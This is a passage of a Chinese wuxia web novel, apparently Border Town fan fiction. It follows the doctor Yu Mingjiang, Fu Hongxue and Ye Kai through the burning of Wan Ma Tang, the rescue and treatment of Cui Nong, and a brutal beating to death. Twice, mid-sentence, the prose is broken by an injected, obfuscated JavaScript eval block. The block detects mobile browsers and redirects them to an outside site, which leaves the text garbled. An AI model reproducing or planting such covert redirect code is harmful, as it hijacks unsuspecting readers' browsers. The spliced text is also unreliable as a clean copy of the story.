突然,一阵诱人的香气飘进鼻腔,尤明姜的鼻子微微翕动。 “烤肉的香气。”她吸了吸鼻子,打开窗,动作敏捷地攀上屋檐。 只要一饿,她就能自动循着香气找食儿。 她顺着香味寻去,炽热的炭火舔舐着羊肉,发出“滋滋”声响,晶莹的羊油不断滴落在炭火上,瞬间腾起一阵带着肉香的青烟。 叶开正啃着一根烤串,忽然叹了口气,喃喃道:“热闹都是这烤肉的,我什么也没有。这一口口咽下的,不知是肉香,还是无人分享的落寞。” “好巧呀,你也出来散心?”听到这话,尤明姜赶紧冒了出来,笑着打招呼。 叶开抬头,笑得眉眼弯弯:“是你啊。来一串?” 尤明姜看了看肉:“野猪肉?” 叶开递给她一串羊肉:“羊肉。” 油珠子滴在炭堆上滋滋冒金星,尤明姜接过烤串,咬一口,外皮焦香酥脆,内里鲜嫩多汁,果木碳烤赋予了羊肉独特的烟熏风味。 “手艺不错,越嚼越香,羊也一点不膻。” "你当羊儿傻?蒙东的草场里藏着玄机。花椒刺儿混着野韭花,羊啃草,捎带嘴就嚼了,膻味都让花椒粒子磨成渣滓了。"叶开说道。 爱吃的俩人一下子就熟络起来。 叶开微笑着打听:“你和傅红雪是什么关系?兄弟姊妹?” “怎么可能?一根藤上难结两样果。我是甜瓜脸,他是苦瓜脸,明显不是一根藤。” “只是好奇,你们是怎么凑到一起的。” 尤明姜说:“所谓‘①甘瓜抱苦蒂,美枣生荆棘’,世上有他这样的,自然就有我这样的。” 叶开大笑:“他知道你这么说他吗?” 尤明姜满不在乎:“他不是个小心眼儿。” 叶开指尖转着空竹签,手指轻轻敲着下巴,“边城这地方,风沙大,人心也杂。你来这儿,总不会是为了看风景吧?像你这样的人物,不该是来凑热闹的。” 尤明姜慢条斯理地咬下一块肉,嘴角带着几分戏谑:“万马堂再大,也不过是片林子,林子大了,什么鸟都有。我倒想问问你,你来这儿,总不会是为了给谁当护花使者吧?” 叶开轻笑一声,眼神却冷了几分:“护花谈不上,只是有些人天生带刺,碰不得。边城这地方,沾了血就洗不干净。” 尤明姜放下竹签,目光直视叶开:“你对他这么上心,是我该好奇你们的关系。不过,边城的风沙,可不长眼睛,与其担心别人,不如担心担心自己。” 说完,尤明姜站起身,伸了个懒腰:“我去睡觉了。” “欸——这就走了?” “话这么多,恐怕你吃不下。”她捞起剩下的烤肉串,统统裹了起来,“我带给他。” “报酬。”她把一盘蓝色的羊奶果摆在他的面前,施施然离去。 叶开傻眼了,愣愣地捡起一枚羊奶果放入嘴里,然后表情瞬间扭曲。 好酸。 · 尤明姜裹了几串烤肉,悄悄来到傅红雪的窗前。 “梆梆梆——”她轻轻敲了敲窗。 傅红雪警惕地靠近窗户,打开一看,尤明姜正扒着窗框,手里举着一束烤肉串,笑盈盈地看着他。 “你怎么来了?”傅红雪皱眉,但语气中带着一丝无奈。 “烤肉串!”尤明姜将烤串递到他面前,“特意给你带的。” 傅红雪忍俊不禁,伸手将她拉进房间。 尤明姜轻盈落地,拍了拍手上的尘土,悠闲地坐在摇椅上。 “嗐,我就知道你还没睡。”她翘着二郎腿,满意地点点头,“叶开那小子给我一些烤肉串,我特意给你捎带过来。” 傅红雪眼皮一跳:“……叶开?” 他想起了之前那个笑眯眯的白净男人。 这俩人怎么凑在一起的? 尤明姜裹着笑,又把烤肉串往他眼前递了递,“你闻闻,叶开用果木碳烤的。” 傅红雪接过烤串,低声问道:“叶开……他是什么人?” 尤明姜耸耸肩:“一个有趣的人,但总觉得他藏着什么秘密。” 傅红雪笑容淡了几分。 他咬了一口烤串,外皮酥脆,内里鲜嫩,香气在口中弥漫,但他有点食不知味。 “味道不错。”他低声说道。 她很讨喜,很容易交到朋友,他最终还是成了个退而求其次的选择。 尤明姜笑了笑,忽然伸手握住他的手,她虎口有薄茧,触感粗糙却温暖。 傅红雪静静立在原地,那只手伸来,握住他的手,他未动,也未躲开。 她不客气地掐了掐傅红雪的虎口,那酸胀的感觉一直泛到他的心口。 “你才是我最好的朋友,我会站在你这边。”她眨了眨眼,语气坚定。 “拉勾,盖章,不准忘记。” 傅红雪愣了一下,眼里的冰碴子就化成了水,随后笑出声,伸手和她勾了勾手指。 两人相视而笑。 23.涅槃之舞 边城的酒旗,在夜色里打着卷儿。 油灯昏黄的光晕里,路小佳一个人在喝酒。 花生壳子簌簌地从指缝往下落,在粗陶碟里堆成个尖尖的小山包。 黑袍男人袖口滚着青龙纹绣,悄无声息地在桌对面,无声落座。 路小佳抬眼瞥了他一眼,捻着花生米的手指微微一顿。 “有生意。”黑袍男人低声说道,声音沙哑得像砂纸摩擦。 路小佳没有回应,只是淡淡地看着他,等待下文。 黑袍男人从怀中掏出一卷通缉令,推到路小佳面前。 上面赫然画着一名女子的画像,旁边写着一行小字:“悬赏黄金千两。” 他低头看了一眼,画中女子眉清目秀,手握虎撑,肩背竹编药篓。 在景阳冈的山神庙里,他曾见过这样一双清凌凌的眼眸。 路小佳的指尖微微一顿,失了力道,碾碎了一颗花生。 “怎么?”黑袍男人见他不语,眉头微皱,“你一向行事果断,今日为何迟疑?” “黄金千两,不少。”路小佳淡淡开口,声音平静得听不出情绪。 黑袍男人点了点头,眼中闪过一丝贪婪:“这笔生意,你做不做?” 路小佳没有立刻回答,而是将花生轻轻抛起,稳稳抛入嘴里。 紧接着,剑光一闪,碎纸片纷纷扬扬落在酒渍斑斑的桌面上。 他淡淡道:“不做。” 黑袍男人愣了一下,显然没料到他会拒绝:“为什么?这可是千两黄金!” 路小佳抬眼看他,眼神冷冽:“我杀人,有自己的规矩。” “规矩?”黑袍男人皱了皱眉,“什么规矩?” 路小佳没有回答,只是站起身,将桌上的酒壶提起,仰头灌了口烧刀子。 酒水顺着他的嘴角流下,洇湿了衣襟,路小佳却毫不在意。 “她不是该死之人。”他放下酒壶,语气淡淡,“我的剑,不杀不该死的人。” 黑袍男人脸色难看:“你可想清楚了,拒绝这笔生意,得罪的可是青龙会!” 路小佳没有回答,只是冷冷地看着他,眼神中没有丝毫波动。 黑袍男人的声音陡然提高,厉喝道:“路小佳,你想与整个青龙会为敌吗!” 路小佳终于开口:“死,并不可怕。可怕的是,违背本心。” 黑袍男人闻言,脸色骤变,眼中闪过一丝杀意。 路小佳道:“你可以死了。” 剑光乍起,黑袍男人喉间陡然绽开了一道血线。 “嗒。” 一滴猩红顺着剑脊滚落,正巧砸在粗陶碟里的花生壳堆尖上。 吹落剑尖最后一粒血珠,抬脚将尸体踹进酒馆角落。 路小佳走出酒馆,夜风拂过他的面庞,带着几分凉意。 他抬头看了看天上的月亮,月亮中好像有个小小的人儿。 月光洒在他的脸上。 “尤明姜……”他低声念了一遍这个名字,嘴角微微扬起一丝弧度。 · 边城的风沙在窗外呼啸。 马空群踩着吱呀作响的楼板,鲜血正顺着木板缝往下渗。 二十年前梅花庵的血,终究还是渗进了这木头缝里。 马空群冷冷地扫过地上两具尸体,他们的血还未干,染红了地面。 “云在天,花满天,你们太天真了。”马空群嘴角勾起一抹冷笑。 连一个江湖铃医都能察觉到的异样,他马空群怎么可能会看不出有内鬼? 拙劣的模仿者。 哼!就凭这点儿小打小闹的恐怖手段,也敢妄想吓退他,霸占他的万马堂? 公孙断恭恭敬敬地走过来,他是马空群最信任的心腹,也是他最锋利的刀。 “火油已经布置妥当。”公孙断身形高大,说话带着杀气,“等火势蔓延,足够拖延他们的脚步……我只是不懂,为什么不杀了这些个人?” 他说的是今夜留宿在万马堂的所有外来者,宁可错杀,不可放过。 “杀不了,也杀不尽。烧吧……烧干净才好。”马空群哑声低笑。 二十年前,他亲手将结义兄弟白天羽的头颅斩落。 这里的每一块砖石都渗着冤魂的嘶鸣。 所有能指认他罪孽的东西,今夜都得化成灰。 他已经无路可退。 马空群眸光一闪,不再看那两具死得不能再死的尸体,“明天的事,你准备好了?” 公孙断微微颔首,眼中闪过一丝决然,“堂主,我公孙断生是万马堂的人,死是万马堂的鬼,永远不会背叛您。您放心离开,这最后一次冲锋,就交给我吧!” 马空群满意地笑了笑,与公孙断交代完后续事宜后,便转身离开。 他来到了外面,朝着沙丘的方向走去。 这时候,翠浓独自站在一片荒凉的沙丘上。 马空群的声音从她身后传来,“翠浓,你准备好了吗?” 翠浓没有回头,只是轻轻点了点头。 马空群缓步走到她身旁,目光锋利:“你必须拦住这些人,不惜一切代价。” 翠浓的手指微微颤抖,眼中闪过一丝挣扎:“我……真的没有别的选择了吗?” “够了!”马空群厉声打断她,语气中带着不容置疑的威严,“难道你忘了,我可是你的父亲!是我给你生命,你竟然吝惜自己的命,在这么点小事面前犹豫不决?” 翠浓低下头,泪水无声地滑落:“我……我知道了。我会拦住……用我的命。” 马空群终于露出一丝满意的笑容,语气也缓和了些许:“这才是我的好女儿。记住,你的牺牲不会白费,我会永远记住你的忠诚。” 翠浓的牺牲,终究只是他棋盘上的一步。 翠浓苦笑一声,眼中满是悲凉。 她知道,自己已经没有退路。 无论是为了万马堂,还是为了那份无法割舍的血缘,她都只能走向这条不归路。 这是她的宿命。 · · 三更天。 翠浓的手指按在火折子上,却迟迟没有擦亮。 火折子是冷的,冷得像她同样冰凉的双手。 马空群的命令明明在耳畔炸响,她却觉得那些字句被风吹散了,只剩下一片模糊的嗡鸣。 公孙断的刀柄突然抵住了她的腰。 “迟了,火就烧不干净了。”他的声音像砂纸刮过铁锈,连催促都是冷的。 她猛地闭眼。 云在天和花满天,这两人临死前的脸突然浮现在黑暗里。 他们的喉咙被割断时,血溅在她裙角上,像开了一簇不合时宜的杜鹃。 她记得自己当时退了一步,马空群立刻剜了她一眼,那一眼比刀更利。 火折子终究擦燃了。 她瞧见自己映在墙上的影子忽地矮了半截。 浓烟裹着热浪涌来时,她恍惚看见十三岁那年的自己,把临摹的《妙法莲华经》在祭奠母亲的瓦盆里蜷成灰蝶。 火苗舔上屋檐的瞬间,她听见自己的心跳声大得惊人,像是要撞碎肋骨。 浓烟裹着热浪扑来,她却打了个寒颤—— 这火里烧的不只是万马堂,还有她最后一点干净的念想。 “快去!”公孙断推搡了她一把。 她踉跄了两步,斜着眼睛看向了万马堂的烫金匾额。 却看见一只野雀从火中惊飞。 它翅尖染着橘红的霞,却仍拼了命地,往灰蒙蒙的天上冲。 · 万马堂中有个气派的高台,四周是深深的酒池。 醇厚的酒水在里头轻轻晃荡,泛着翠绿的光,像一汪深不见底的翡翠潭。 以往,几十根胳膊粗的蜡烛烧得旺旺的,把这儿照得亮堂堂,每个角落都看得真真儿的。如果宾客们围着高台坐下,不管坐在哪儿,台面上都能瞧清楚。 她乌发松松挽着,几缕碎发垂在白皙的颈边,更衬得皮肤雪白。 鬓边斜插着一顶精致的金帘梳,梳沿垂下的花网,正好轻轻覆在光洁的额前。 翠浓的裙裾带着点点火星,慢慢走向高台中央。 金帘梳在鬓边轻轻摇晃,翠浓望着台下空荡荡的酒池。 裙裾旋开时,火星子跟着舞步飞溅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922539|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她手臂轻轻摆动,腕间的金镯相互碰撞,发出清脆好听的声音,闪闪发亮。 可她眼里藏着一抹决然,那是赴死的决心。 腕间的金钏儿叮铃作响,恍惚又是那日尤明姜替她包扎时,指尖拂过伤疤的温热触感。 又一圈旋身,她望着天边的月亮,忽然想起尤明姜笑起来弯弯的眼。 像边城的月牙儿。 火势顺着酒池蔓到高台,烧焦的裙裾在浓烟里飘摇,像极了清明时烧的纸人。 这一支舞蹈,是她给自己奏响的生命终曲。 不止是马空群的命令,也是她在漫长岁月里,被绝望一点点填满后的选择。 · 翠浓厚敷的妆粉渐渐花了,忽然想起母亲临终时枯槁的面容。 那年长白山的雪下得特别早,裹着血腥气的北风卷走最后一片人参叶,母亲被掳进万马堂的暗室里,从此再没看过完整的月亮。 在那些暗无天日的日子里,母亲的泪水像沉重的阴影,笼罩着她整个童年。 后来,这个给母亲带来无尽痛苦的男人,也成了她一生的噩梦。 十三岁生辰那夜,马空群将缀满珍珠的绸衣扔在她脚边。 少女蜷缩在檀木屏风后,嗅着新漆刺鼻的味道,无名居的灯笼总比别处红些,照在往来客商油亮的皮靴上,像泼了一地凝固的血。 她学会用银簪子蘸着朱砂描眉,却总也画不直那道眉峰。 一颗任人摆弄的棋子,被迫学会看人脸色,学会在江湖里和三教九流打交道。 看着青春一点点被吞噬,尊严被无情践踏,厌恶和绝望像野草一样疯长。 她厌倦了这一切,厌倦了被人利用,厌倦了这耻辱的生活。 每一次强颜欢笑,每一次违心讨好,都像在伤口上撒盐,让她痛不欲生。 她渴望解脱,渴望逃离这无尽的黑暗。 翠浓的旋转越来越快,裙裾飞扬起来,像要把整个世界点燃。 就像她即将燃尽的生命。 在这最后的时刻,翠浓忽然嗅到熟悉而温暖的紫草香气。 这一刻,记忆里的紫草香竟比酒池烈焰更灼人,烫得她眼眶发疼。 翠浓像个在冰天雪地里冻麻木的人,既渴望温暖,又害怕温暖。 在她心里,靠近温暖的那一刻,自己就“死”了。 就像是饮鸩止渴,怎的吞下去五脏六腑都发颤,喉头却泛起经年未有的甜? 翠浓望着池中晃动的酒光,忽然轻笑出声。 这些年吞下的酒在喉头翻涌,竟比关外最烈的烧刀子还灼人。 趁着一个转身,她身体缓缓倒下,眼中却带着一丝解脱的笑意。 · 池子里全是烈酒,等熊熊烈火吞噬自己的那一刻,就可以解脱了。 她啊,错得可真离谱。 多少个日夜,多少个春秋,她都满心满眼就盼着能得父亲一个认可的眼神。 可等到如今,大梦初醒,才惊觉一切不过是一场缥缈得抓不住的幻梦。 那曾经心心念念的认可,看似近在咫尺,实则遥不可及。 她这一生,都在追逐着父亲的身影,却从未真正看清过他。 到最后,她才发现,那个她最渴望得到爱的人,竟是让她痛苦不堪的根源。 如今,一切都要结束了。 一眼看到坠落的翠浓,一双手臂在她坠落前,稳稳地托住了翠浓的身体。 “接住你了。”一道清凌凌的嗓音,混着紫草香扑面而来。 翠浓睁开眼睛,抬头对上近在咫尺的眼睛,心里猛地一动。 尤明姜抱着翠浓,轻巧地越过酒池,落在地上。 · 【叮!尊敬的少侠,您在边城万马堂中行侠仗义,成功拯救一名绝望烧伤的弱质女流,义酬已发放到您的竹编药篓。】 义酬如下: 【布洛芬缓释胶囊0.3g/粒*100粒】 【重组人表皮生长因子凝胶10g*1支/盒】 【康复新液100ml/瓶*1瓶】 【特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 24.紫草 翠浓仰头看着尤明姜。 金蛇狂舞的火光里,那人的轮廓忽明忽暗,像是隔了一层毛雾琉璃。 紫草香雾似的漫过来,这味道她最熟悉不过。 关东的山坡上撒欢儿生长的紫草,染得粗布蓝里透紫,偏又能治烧伤。前儿个她还想着,待自己闭了眼,就葬在一处生长着紫草的山坡上,漫山遍野都是摇曳的紫草,死后结为芳邻。 泪珠儿断了线似的往下滚。 分明是盼了千万遍的人儿,可翠浓的心跟吞了青梅子似的,酸得心尖儿直颤。 如果她能化作春天最干净的露水,那该有多好。 轻轻巧巧地歇在尤大夫的面颊上,纵使日头一晒没了影,总归是清清白白的。 想到这里,翠浓颤痛至极,闭上眼睛不愿再看这张脸。 “吧嗒。”一声,滚烫的水珠子砸在她眼睑上。 睫毛轻颤间,翠浓睁开眼睛,却见尤大夫好像更痛,痛得瑟瑟发抖。 · 尤明姜紧紧搂住她,眼泪大颗大颗地滚落。 翠浓只觉得自己的心像是被什么东西淹没了,几乎要溺毙在尤大夫的眼泪里。 原来这世上,竟然还有人愿意为自己落泪…… 火场外,马蹄声急促地响起,“嘚嘚”地踩得人心里发慌。 · 一把弯刀映着火光,已劈到翠浓的鬓边。 金帘梳撞上刀锋迸出火星子,梳齿间缠着的青丝落进酒池,轰然爆燃。 尤明姜反手甩出虎撑,震退黑影三步,公孙断的刀再度欺身而上! 铿! 一柄漆黑的刀稳稳地截住刀势,火星瞬间在傅红雪眼底爆开。 一见翠浓被救走,公孙断认为她背叛了马空群,于是忍不住出手了。 他讥笑道:“不过是个窑姐儿……” · 翠浓的心像是被什么东西撕碎了,疼得她喘不过气来。 公孙断的笑声还在耳边回荡,她恍惚又见母亲立在老槐树下冲她招手。 眼前突然一黑,失去了意识。 昏迷之前,她听到尤明姜焦急的呼喊,身子却像个棉花,轻飘飘浮起来。 像是永远不会停止。 “婊子无情……”公孙断还在继续辱骂翠浓。 尤明姜抿紧嘴唇,将翠浓抱到叶开身旁,让叶开先照看她。 她默默戴上医用丁.腈手套,蘸了蘸碘伏,趁着傅红雪和公孙断对峙之时,反手一个耳光狠狠掴了过去。 “啪——” 公孙断被这一耳光打得飞了出去,重重撞在墙上。 他跌落在地时,嘴里、头上都流着血。 尤明姜冷冷说道:“嘴这么臭,给你消消毒。” 公孙断火冒三丈,抄起刀就砍向尤明姜! 尤明姜冷笑连连,飞身用膝盖一顶,单膝压住公孙断的咽喉,指节抵在他的肋骨处,顶得公孙断吐血三升。 “说!马空群在哪儿?” 烧毁万马堂,必定是马空群这个歹毒畜牲想出来的,虽然不清楚翠浓为什么要在烈焰中赴死,但归根结底,一定是为了马空群。还有她的枣红马被杀之仇! 冤有头债有主,尤明姜饶不了马空群! · 公孙断纵声大笑,那笑声在尤明姜的膝盖下震荡开来。 他半张脸浸没在汩汩血泊之中,牙缝间渗出了血沫。 不等他笑声停歇,一声沉闷的指骨穿透肋间的声响,粗暴地打断了他的笑声。 尤明姜冷冷道:“你找死!马空群在哪儿?说!” “想知道?”公孙断剧烈地咳嗽起来,咳出一块带着鲜血的碎肉。 “说!”尤明姜下手更狠。 “去死吧!”公孙断突然暴起,手中短刀猛地刺向尤明姜。 尤明姜面不改色,膝盖一抬,直接将公孙断的喉骨碾得粉碎。 · 人一死,线索就断了。 尤明姜磨了磨牙,一下又一下,拳拳到肉。 碎骨渣混合着暗红的肉糜飞溅开来。 傅红雪站在一旁,拇指无意识地摩挲着刀鞘。 叶开一边搀扶着翠浓,一边劝说了两句,“别打了,他死了,死得不能再死了。” 高高扬起的拳头僵在半空。 她大口大口地喘着粗气,汗水混着血渍从拳头上滑落。 火星在风中跳跃,烧焦的梁木不时发出爆裂的声响。 傅红雪缓缓走上前,蹲下来,轻轻握住尤明姜的手腕,“他已经死了。” “死了就死了。” “他既然不肯说马空群的下落,留着也是个麻烦。只可惜,线索又断了。”眼中闪过一丝懊恼,尤明姜站起身,扫视烈火中的万马堂,“去关帝庙,先救人。” 傅红雪微微点头,起身跟上她的脚步。 尤明姜摘下手套,随手甩进火里,大步走到叶开面前,伸手将翠浓接了过来。 叶开甩了甩手腕上的血渍,连忙抬脚追了上去:“哎哎!” 他伸手去勾傅红雪的肩头,指尖刚碰到对方的肩膀,就被刀鞘震开。 他呲牙咧嘴:“带上小爷给你们说笑解闷啊!” 火星子噼啪作响,尤明姜抱着翠浓离开,身后还跟着两个“小尾巴”。 · · 关帝庙。 翠浓的唇齿间,溢出几声破碎的呻吟。 她的睫毛不安地颤动着,额头上布满了涔涔冷汗,深陷在噩梦中,无法自拔。 “噼里啪啦……噼里啪啦……” 火舌狂舞,烧焦的残木在火海中扭曲,发出不堪重负的“噼啪”声。 连绵的山峦被火光映得通红。在 一座细长的桥横跨而过,连接着火海与山顶,形成一个陡峭的角度。 翠浓失了神,浑浑噩噩地游荡着,不知不觉就踏上了那座桥。 她顺着桥朝着火海走去,越靠近,炙烤的热气就越发灼人。脚底踩碎的木屑骨碌碌地滚下木桥,一接触到火海,就化为灰烬,消失得无影无踪。 即便头脑再迟钝,翠浓也察觉到了事情的不对劲。 她像个发条停了的木偶,僵硬地杵在原地,再也不肯挪动一步。 她眉头微蹙,努力想要睁开眼睛,摆脱这可怕的梦境。 眼看着翠浓有苏醒的迹象,火海翻腾升腾起的烟雾,像“铁蒺藜”似的,缚住她的手,牵引着她朝火海走去。 翠浓浑身软绵绵的,一点力气都没有,挣扎了几下就放弃了抵抗。 她被直直地从木桥上拖了下去。 就在这时,烟雾中忽然出现了一个影子,拦住了她的去路。 那影子的脸模糊不清,只听见“哗楞哗楞”的摇铃声在烟雾中回荡。 骤然出现的影子伸出手,拽着翠浓往回走,声音坚定有力:“回去,回你该去的地方。” 可异变突生! 桥面上的木板开始碎裂,翠浓站立不稳,尘土夹杂着碎石不断滚落下去。 桥面变得更加倾斜,几乎就要形成一面陡峭的断崖。 在剧烈的晃动中,翠浓的头脑清醒了不少,她伸手牢牢地抓着桥沿,不让自己滑落到火海里。 发生了什么事情? 翠浓慌乱地向火海望去,只见一个个焦黑的身影从火海中爬起,僵硬地摇晃着身体朝桥上走来。浓烈的焦糊味扑鼻而来,熏得她几欲作呕。 翠浓打了个激灵,满脑子只有一个念头:逃! 她爬起身,掉头就往桥顶爬去。 然而,烟雾萦绕在她眼前,让她根本辨别不清方向,几次险些失手滑落。 好不容易稳住身形,一个焦黑的身影却追上了她,抓住了她的右脚腕! 翠浓眼睁睁地看着双手被摩擦出了血泡,想要抓住一丝能滞留的物件,却都一一落空。 鼻尖嗅到的火海焦味越来越浓,她的无助渐渐转化为绝望。 倏地,一只手攥住了她的手腕,拼命地将她往上拉,阻止了她滑落的趋势。 耳畔传来一个声音:“别放弃,抓紧我!” 翠浓摇了摇头,心中想着,没用的…… 说话间,燃烧的“铁蒺藜”又缠住了她的腿,疼得她浑身打颤。 她觉得自己注定要被火海所吞噬…… 虎撑主人焦急起来:“翠浓,坚持住……我那么在乎你,你怎么可以放弃?” 伴随着意识的苏醒,烟熏火燎的火焰顶空露出个大洞,刺目的白光照射进来。 一股强大的吸力,蛮横地将翠浓往外拽。 “啊!”翠浓猛地睁开眼睛,豁地坐起身。 身下的苇席又白又细,垫底的稻草蓬松得足有三指厚,抬头是关二爷的神像。 她眼睑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932903|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤动,低头看了一眼,烧伤的小臂已经敷上药膏,包扎好了。 “我没死……” · · “可算醒了。”温热的掌心贴在后背,尤明姜眉眼中流露着忧色,半扶起翠浓。 尤大夫! 翠浓浑身一震,眼泪滚滚而下,想起公孙断的话,别过脸去,胃里翻江倒海。 她这么肮脏的身体…… “翠浓?”掌心在她的后背上缓缓地顺着,“你……受委屈了,是我来迟了。” 翠浓瞬间红了眼眶,眼泪珠子啪嗒啪嗒砸在苇席上,洇出深色的水纹。 尤明姜叹了口气,将她揽进了怀里,替她拭泪的袖口带着紫草香。 “喝点甜汤吧,尝尝我煮的红枣生姜汤。” 粗瓷碗沿抵在唇边,红枣炖得绵软,饴糖化在舌尖。翠浓想起幼时害风寒,母亲也是这样温柔地搂着她喂红枣生姜汤,她忍不住一小口一小口地喝完了汤水。 “还要喝吗?”尤明姜低声问道。 翠浓微微摇头,不知道为什么,眼泪不听使唤地滚落眼眶。 · 眼角余光瞥见翠浓手臂上裹的纱布,昨夜渗出的组织液把敷料黏成淡黄色硬壳,和伤口黏作一团,边缘还沾着草垛碎屑。 “不哭了,该换药了。”尤明姜拎起袖子,轻轻擦掉她的眼泪。 她喂翠浓吃下阿莫西林和布洛芬缓释胶囊,等会儿换药会好受些。 尤明姜戴上医用丁.腈手套,提前把重组人表皮生长因子凝胶挤在新的无菌纱布上,膏体泛着珍珠光泽。她稳稳托住翠浓的手肘,用温水将纱布一点点润开,翠浓被渗进伤处的水给激得抽气。 “忍着些,会粘住皮。” 尤明姜骤然揭去最后一层黏连的纱布,腐皮下露出粉白新肉。 棉球蘸着碘伏擦过伤口,翠浓贝齿轻咬粉唇,唇间溢出隐忍的破碎呻吟。 看了眼浑身颤栗的翠浓,尤明姜小心翼翼地消完毒,又特意等了两息才敷药。 纱布绕了一圈又一圈,最后系完结扣时,往翠浓嘴里塞了颗高粱饴。 翠浓正忍着痛,忽觉口中一甜,高粱饴黏糊糊裹住舌根。 抬眼正撞进尤明姜眸子里,那汪清泉映着她狼狈的倒影,却无半分嫌恶。 翠浓嚼着高粱饴,尝到了一种黏糊糊的甜味,甜得压过了她心里的苦。 尤明姜轻声道:“还疼吗?” 翠浓摇了摇头,一双美目却氤氲着晶莹的泪花。 尤明姜摘下手套,取了瓶促进组织修复的康复新液。棕色玻璃瓶在晨光下泛着琥珀色光泽:“这个啊,等你睡一觉起来再喝。” 翠浓默默地接过那瓶康复新液,身体上的伤可以治愈,心里的伤怎么治愈? 她蜷缩在苇席上,像是要把自己藏起来。 尤明姜坐在她身旁,轻轻抚摸着她的头发,像是安抚一只受惊的小兽。 “你知道吗?”尤明姜轻声说道,“这世上有很多人,都在经历着苦难。但只要我们心中有光,就一定能找到出路。” 翠浓抬起头,泪眼朦胧地看着尤明姜,“可我已经……已经不干净了……” 尤明姜摇摇头,“干净不干净,不是别人说了算的。只要你心里还有希望,就永远都是干净的。” 翠浓的眼泪再次涌出,她紧紧抓住尤明姜的手。 想了想,尤明姜从竹编药篓中取出一把短刀,握在手中。 短刀修长而精巧,线条流畅,刀刃薄如蝉翼,刀身上有道深深的放血槽,刀柄是用上好的乌木所制,质地坚硬,纹理细腻,触手生凉。 她将短刀递给翠浓,“这短刀赠你防身。” 斩断油腻的爪子,斩断流脓的过去。 翠浓垂下头,泪水滚出眼眶,一滴一滴,“我……我不配。” “不对!”尤明姜认真地看着她,轻轻抬起她的下巴,“你不配谁配?” 终于接过短刀,翠浓泪流满面:“尤大夫,只要你不嫌弃我,我愿意为你去死。” “傻瓜,”尤明姜心酸不已,用力抱紧了怀里的人,“我不要你死,我要你活。” “好好的活。” · 尤明姜守在苇席边,阳光正爬上翠浓泪痕未干的脸。 关帝庙的墙壁裂缝里钻出株野紫草,怯生生开着米粒大的花。 · 25.美美与共 秋阳温煦,金风送爽。 翠浓换了身湖蓝衣裙,用嫩黄色发繻结鬟,发繻末端的珍珠低垂在肩上。 除下浑身的金玉首饰,犹如去除了无形枷锁,她洗尽铅华,雪清玉瘦。 碎金似的阳光洒在她身上,暖洋洋的,她深吸一口气,心中也轻松了许多。 尤明姜搀扶着她起身,笑道:“这两天闷坏了吧?吹吹风,会舒服些。” · 大杨树底下。 叶开手中拈着一朵风干的小雏菊,与傅红雪肩并肩地聊天。 看起来“相谈”甚欢,叶开的脸上带着笑。 傅红雪的拇指不断顶开刀鞘,摩擦的声响像极了磨牙声。 “傅兄,这刀要被你磨出火星子了。”叶开笑出一口白牙,“别总绷着脸嘛。要不,我给你讲个错位人生的故事?” 话还没说完,一阵脚步声从关帝庙内传来。 两道目光齐齐地望了过去,却见尤明姜已扶着翠浓踏过门槛。 湖蓝裙裾轻轻扫过门槛,发繻末端的两颗珍珠,轻轻摇晃。 翠浓惴惴的,怯怯的,揪着尤明姜的袖子走了出来。 跟误入陌生领地的小鹿似的。 尤明姜还是一身黑,眼仁儿也黑黑的,跟黑玛瑙似的,漾着温吞吞的水光。 各美其美,美美与共。 傅红雪微微一怔,叶开手中拈着的小雏菊无声坠地。 · 翠浓咬了咬唇,目光仍含着怯意,水汪汪地望着尤明姜。 斑驳的光影落在尤明姜的脸上,她抬手将翠浓鬓边垂落的发丝,别到耳后。 尤明姜噙着笑,眼睛弯成月牙,安抚地摸了摸翠浓的头:“他们是好人。” 她的笑,教人想起炉上煨着的红枣生姜汤,咕嘟咕嘟冒着熨帖的热气。 傅红雪忽觉刀柄烫手,不由松了三分。 叶开回过神来,手搭上了他的肩头,嘴上调侃:“你的刀鞘戳到我肋骨了。” “聒噪。”傅红雪倏然转头,耳尖被漏进来的阳光晒得微红。 抬眼望向澄澈的天空,尤明姜提议:“今日天气晴好,倒不如一道出去走走?” “关药里的北细辛、关龙胆、林蛙油都相当难得,逛一逛,看能不能碰上。” “行啊,”叶开捡起那朵风干的小雏菊,别在耳后,“傅兄方才还说,想晒一晒身上的菌菇。” 说完,他咧着嘴笑,在傅红雪刀柄叩过来之前,一蹦蹦上了树梢。 . . 大抵是出行前未查看黄历,众人在街上徘徊了近半个时辰,才好不容易寻到一家药铺,可药伯一瞧见他们,二话不说,“砰”的一声,便将门紧紧关上。 “这些人怎么跟要把咱们生吞活剥了似的?” 又一次被推搡着,听着那句“没有没有”后,叶开皱起眉头,眼中闪过一丝疑惑,“咱们得罪过他们?” “何止是得罪,简直是不共戴天之仇。” 尤明姜一边漫不经心地说着,一边在翠浓鬓边簪了朵新采的紫菀。 视线与暗中偷窥的面馆老板对上,对方眼神闪过一丝慌乱,双手猛地用力,“哗啦”一声,将铺子的木板迅速拉上,跟躲瘟神似的。 叶开来了兴致,“哦?” “边城是万马堂的地盘。”指尖触了触鬓边的紫菀,翠浓轻轻说道。 傅红雪侧过脸,目光在翠浓鬓边的紫色小花儿上停驻了一瞬。 